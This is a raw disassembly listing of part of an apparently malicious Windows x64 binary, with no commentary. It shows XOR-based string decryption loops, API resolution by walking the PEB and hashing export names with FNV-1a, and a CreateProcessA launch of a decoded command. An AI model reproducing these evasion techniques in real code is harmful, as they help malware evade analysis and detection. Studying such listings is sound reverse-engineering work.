cmp byte [rbp + 0x1265], 0
je 0x140009d83
mov r8d, esi
cmp r15d, 2
jl 0x140009d3d
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x1254]
mov edx, dword [rbp + 0xf0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140009c30
cmp r8d, 0x16
jge 0x140009d83
movsxd rax, r8d
lea r9, [rbp + 0x1250]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140009d50
lea rax, [rbp + 0x1250]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140009d90
lea rdx, [rbp + 0x1250]
lea rcx, [rbp + 0x18c0]
call fcn.140018330
cmp byte [rbp + 0x1265], 0
jne 0x140009f53
mov r8d, esi
cmp r15d, 2
jl 0x140009f0d
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x1254]
mov edx, dword [rbp + 0xf0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140009e00
cmp r8d, 0x16
jge 0x140009f53
movsxd rax, r8d
lea r9, [rbp + 0x1250]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140009f20
cmp byte [rbp + 0xfc7], 0
je 0x14000a033
cmp r15d, 2
jl 0x140009ff2
movdqa xmm3, xmmword [0x14001bb20]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14001bb70]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14001bb70]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14001bb40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.WWWWWWWWWWWWWWWW]
movd xmm0, dword [rbp + 0xfc4]
xorps xmm2, xmm0
movd dword [rbp + 0xfc4], xmm2
jmp 0x14000a033
lea r9, [rbp + 0xfc4]
mov r8d, esi
nop dword [rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14000a000
mov rdx, rbx
lea rcx, [rbp + 0x680]
call fcn.1400184f0
mov r10, rax
cmp byte [rbp + 0x11d5], 0
je 0x14000a1b3
mov r8d, esi
cmp r15d, 2
jl 0x14000a16f
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm2, xmmword [0x14001bb20]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001bb40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
mov eax, dword [str.WWWWWWWWWWWWWWWW]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x11c8]
xorps xmm2, xmm1
movd dword [rbp + 0x11c8], xmm2
movdqa xmm3, xmmword [0x14001bb30]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001bb40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x11cc]
xorps xmm2, xmm1
movd dword [rbp + 0x11cc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x11c8]
add r9, rax
nop dword [rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14000a180
lea rax, [rbp + 0x11c8]
mov r9, r13
nop dword [rax]
inc r9
cmp byte [rax + r9], 0
jne 0x14000a1c0
lea r8, [rbp + 0x11c8]
xor edx, edx
mov rcx, r10
call fcn.140018670
mov rdx, rax
lea rcx, [rbp + 0xbe0]
call fcn.1400184c0
nop
lea rax, [rbp + 0xfc4]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x14000a1f5
lea rdx, [rbp + 0xfc4]
lea rcx, [rbp + 0xbe0]
call fcn.140018330
mov rdx, rax
lea rcx, [rbp + 0xbc0]
call fcn.1400184c0
nop
mov rbx, qword [rbp + 0xbd0]
lea rcx, [rbp + 0xbc0]
call fcn.140018160
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x18c0]
call fcn.140018330
nop
lea rcx, [rbp + 0xbc0]
call fcn.140018450
nop
lea rcx, [rbp + 0xbe0]
call fcn.140018450
nop
lea rcx, [rbp + 0x680]
call fcn.140018450
cmp byte [rbp + 0x11d5], 0
jne 0x14000a3e3
mov r8d, esi
cmp r15d, 2
jl 0x14000a398
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm2, xmmword [0x14001bb20]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001bb40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
mov eax, dword [str.WWWWWWWWWWWWWWWW]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x11c8]
xorps xmm2, xmm1
movd dword [rbp + 0x11c8], xmm2
movdqa xmm3, xmmword [0x14001bb30]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001bb40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x11cc]
xorps xmm2, xmm1
movd dword [rbp + 0x11cc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x11c8]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14000a3b0
cmp byte [rbp + 0xfc7], 0
jne 0x14000a4c3
cmp r15d, 2
jl 0x14000a482
movdqa xmm3, xmmword [0x14001bb20]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14001bb70]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14001bb70]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14001bb40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.WWWWWWWWWWWWWWWW]
movd xmm0, dword [rbp + 0xfc4]
xorps xmm2, xmm0
movd dword [rbp + 0xfc4], xmm2
jmp 0x14000a4c3
lea r9, [rbp + 0xfc4]
mov r8d, esi
nop dword [rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14000a490
cmp byte [rbp + 0x1eb2], 0
je 0x14000a663
mov r8d, esi
cmp r15d, 2
jl 0x14000a61f
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x1e8c]
mov edx, dword [rbp + 0xf0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000a512
cmp r8d, 0x2b
jge 0x14000a663
movsxd rax, r8d
lea r9, [rbp + 0x1e88]
add r9, rax
nop dword [rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x14000a630
lea rax, [rbp + 0x1e88]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000a670
lea rdx, [rbp + 0x1e88]
lea rcx, [rbp + 0x18c0]
call fcn.140018330
cmp byte [rbp + 0x1eb2], 0
jne 0x14000a833
mov r8d, esi
cmp r15d, 2
jl 0x14000a7ed
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x1e8c]
mov edx, dword [rbp + 0xf0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000a6e0
cmp r8d, 0x2b
jge 0x14000a833
movsxd rax, r8d
lea r9, [rbp + 0x1e88]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x14000a800
lea rdx, [rbp + 0x18c0]
lea rcx, [rbp + 0xba0]
call fcn.140018530
mov rcx, rax
call fcn.140002350
xor edx, edx
lea rcx, [rbp + 0x18c0]
call fcn.140018170
nop
lea rcx, [rbp + 0x18c0]
call fcn.140018450
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14000a8f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14000a8f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x4b263535
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000a8f1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14000a8d0
cmp r8d, 0x930c4678
je 0x14000a8fb
test r9d, r9d
jne 0x14000a8b0
mov rax, qword [rax]
jmp 0x14000a880
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x64
call rdx
lea rcx, [rbp + 0x1840]
call fcn.140018160
mov rbx, rax
mov rcx, r12
call fcn.140018160
mov rdx, rax
lea rcx, [rbp + 0x1900]
call fcn.1400184f0
nop
mov rdx, rbx
lea rcx, [rbp + 0x1920]
call fcn.1400184f0
nop
lea rcx, [rbp + 0x1960]
call fcn.140018650
nop
mov eax, dword [str.4_6_]
mov dword [rbp + 0xc], eax
movzx eax, word [0x14001b754]
mov word [rbp + 0x10], ax
mov byte [rbp + 0xc], 0x63
xor byte [rbp + 0xd], 0x58
xor byte [rbp + 0xe], 0x59
xor byte [rbp + 0xf], 0x5a
xor al, 0x5b
mov byte [rbp + 0x10], al
xor byte [rbp + 0x11], 0x5c
lea rax, [rbp + 0xc]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x14000a991
lea rdx, [rbp + 0xc]
lea rcx, [rbp + 0x1960]
call fcn.140018330
lea rcx, [rbp + 0x1900]
call fcn.140018160
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000a9c0
mov rdx, rax
lea rcx, [rbp + 0x1960]
call fcn.140018330
mov eax, dword [str.wu6z_]
mov dword [rbp - 0x44], eax
movzx eax, byte [0x14001b694]
mov byte [rbp - 0x44], 0x20
xor byte [rbp - 0x43], 0x58
xor byte [rbp - 0x42], 0x59
xor byte [rbp - 0x41], 0x5a
xor al, 0x5b
mov byte [rbp - 0x40], al
lea rax, [rbp - 0x44]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x14000aa05
lea rdx, [rbp - 0x44]
lea rcx, [rbp + 0x1960]
call fcn.140018330
lea rcx, [rbp + 0x1920]
call fcn.140018160
mov r8, r13
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14000aa30
mov rdx, rax
lea rcx, [rbp + 0x1960]
call fcn.140018330
movsd xmm0, qword [str.wut_2080_]
movsd qword [rbp + 0xd8], xmm0
movzx eax, word [0x14001ba28]
mov word [rbp + 0xe0], ax
cmp byte [0x14001ba29], 0
je 0x14000aab6
mov byte [rbp + 0xd8], 0x20
xor byte [rbp + 0xd9], 0x58
xor byte [rbp + 0xda], 0x59
xor byte [rbp + 0xdb], 0x5a
xor byte [rbp + 0xdc], 0x5b
xor byte [rbp + 0xdd], 0x5c
xor byte [rbp + 0xde], 0x5d
xor byte [rbp + 0xdf], 0x5e
xor byte [rbp + 0xe0], 0x5f
xor byte [rbp + 0xe1], 0x60
lea rax, [rbp + 0xd8]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x14000aac0
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0x1960]
call fcn.140018330
lea rcx, [rbp + 0x1960]
call fcn.140018160
mov r14, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14000ab76
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14000ab76
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x3c052ac1
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14000ab71
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14000ab50
cmp r8d, 0x1567aca0
je 0x14000ab7b
test r9d, r9d
jne 0x14000ab30
mov rcx, qword [rcx]
jmp 0x14000ab00
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, r14
call rdx
xor edx, edx
lea rcx, [rbp + 0x1960]
call fcn.140018170
xor edx, edx
lea rcx, [rbp + 0x1900]
call fcn.140018170
xor edx, edx
lea rcx, [rbp + 0x1920]
call fcn.140018170
nop
lea rcx, [rbp + 0x1960]
call fcn.140018450
nop
lea rcx, [rbp + 0x1920]
call fcn.140018450
nop
lea rcx, [rbp + 0x1900]
call fcn.140018450
lea rcx, [rbp + 0x1840]
call fcn.140018160
mov rdx, rax
lea rcx, [rbp + 0xb80]
call fcn.1400184f0
mov r14, rax
mov qword [rsp + 0x60], rax
mov rcx, rax
call fcn.140018160
mov r15, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14000aca6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14000aca6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0x847767b9
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14000aca1
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14000ac80
cmp r8d, 0x6d8d18db
je 0x14000acab
test r9d, r9d
jne 0x14000ac60
mov rcx, qword [rcx]
jmp 0x14000ac30
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov edx, 6
mov rcx, r15
call r8
nop
mov rcx, r14
call fcn.140018450
lea rcx, [rbp + 0x1840]
call fcn.140018160
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rbp + 0x2354], xmm0
movups xmmword [rbp + 0x2364], xmm0
movups xmmword [rbp + 0x2374], xmm0
movups xmmword [rbp + 0x2384], xmm0
movups xmmword [rbp + 0x2394], xmm0
movups xmmword [rbp + 0x23a4], xmm0
mov dword [rbp + 0x23b4], ecx
mov dword [rbp + 0x2350], 0x68
movups xmmword [rbp + 0xef8], xmm0
mov qword [rbp + 0xf08], rcx
lea rcx, [rbp + 0xef8]
mov qword [rsp + 0x48], rcx
lea rcx, [rbp + 0x2350]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14000ad89
mov rcx, qword [rbp + 0xef8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xf00]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
lea rcx, [rbp + 0x1840]
call fcn.140018170
nop
lea rcx, [rbp + 0x1840]
call fcn.140018450
nop
mov rcx, r12
call fcn.140018450
xor edx, edx
lea rcx, [rbp + 0x15e0]
call fcn.140018170
lea rcx, [rbp + 0x1420]
call fcn.140018160
mov rdx, rax
lea rcx, [rbp + 0xb60]
call fcn.1400184f0
mov r15, rax
mov qword [rsp + 0x60], rax
mov ecx, dword [str.y_4_]
mov dword [rbp + 0x1004], ecx
movzx ecx, byte [0x14001b8ec]
mov byte [rbp + 0x1008], cl
test cl, cl
jne 0x14000ae1e
xor byte [rbp + 0x1004], 0x57
xor byte [rbp + 0x1005], 0x58
xor byte [rbp + 0x1006], 0x59
xor byte [rbp + 0x1007], 0x5a
mov byte [rbp + 0x1008], 0x5b
mov eax, dword [0x14001b9fc]
mov dword [rbp + 0x103c], eax
movzx eax, byte [0x14001ba00]
mov byte [rbp + 0x1040], al
test al, al
jne 0x14000ae5e
xor byte [rbp + 0x103c], 0x57
xor byte [rbp + 0x103d], 0x58
xor byte [rbp + 0x103e], 0x59
xor byte [rbp + 0x103f], 0x5a
mov byte [rbp + 0x1040], 0x5b
mov eax, dword [str.sonZzX]
mov dword [rbp + 0xfc8], eax
movzx eax, word [0x14001b834]
mov word [rbp + 0xf94], ax
cmp byte [0x14001b835], 0
jne 0x14000ae90
xor al, 0x57
mov byte [rbp + 0xf94], al
xor byte [rbp + 0xf95], 0x58
movzx eax, word [0x14001b9a4]
mov word [rbp + 0xf80], ax
cmp byte [0x14001b9a5], 0
jne 0x14000aeb6
xor al, 0x57
mov byte [rbp + 0xf80], al
xor byte [rbp + 0xf81], 0x58
lea rcx, [rbp + 0x1980]
call fcn.140018650
nop
mov r12d, dword [0x14001e088]
cmp byte [rbp + 0xfcb], 0
je 0x14000afb3
cmp r12d, 2
jl 0x14000af69
movdqa xmm3, xmmword [0x14001bb20]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
